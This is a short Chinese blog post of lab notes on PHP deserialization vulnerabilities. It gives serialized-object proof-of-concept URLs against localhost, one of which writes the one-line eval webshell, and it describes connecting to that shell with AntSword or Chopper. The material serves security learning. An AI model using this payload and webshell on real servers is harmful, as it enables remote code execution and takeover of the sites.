6.26.2 反序列化

文章详细介绍了PHP中的序列化和反序列化过程,以及如何利用这一特性形成安全漏洞。用户可控的字符串在转化过程中可能导致代码执行,例如通过插入一句话木马。文中提供了一个利用序列化漏洞写入一句话木马的案例,并展示了利用工具如蚁剑或菜刀进行远程连接的步骤。
摘要由CSDN通过智能技术生成

序列化是指对对象转换成字符串进行保存  

serialize:转换成字符串的

unserialize:字符串转回成对象

漏洞形成原因:转化过程 由于字符串可以人为操作(例如写一句话)

生成字符串是用户可控的

案例:

https://www.liuyixiang.com/post/111860.html

使用到 wakeup 魔术函数 _destruct 析构函数

前提:有序列化的字符 ,有字符操作的权限

php:

 

poc测试脚本:

http://127.0.0.1/lx/6.26.php?s=O:4:"test":1:{s:4:"name";s:5:"fairy";}

http://127.0.0.1/lx/6.26.php?s=O:4:%22test%22:1:{s:4:%22name%22;s:5:%22fairy%22;}

 修改php:文件注意路径

 

 

 

 构建poc写入一句话木马

http://127.0.0.1/lx/6.26.php?s=O:4:"test":2:{s:4:"name";s:29:"<?php @eval($_POST['123']);?>";} 

http://127.0.0.1/lx/6.26.php?s=O:4:%22test%22:1:{s:4:%22name%22;s:29:%22%3C?php%20@eval($_POST[%27123%27]);?%3E%22;}

 

本机根目录下成功写入 

 

 

使用蚁剑或者菜刀进行连接

本地地址:

 

点击添加 

 

 

流程:

序列化

反序列化

添加一句话木马,修改对应格式

菜刀连接

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值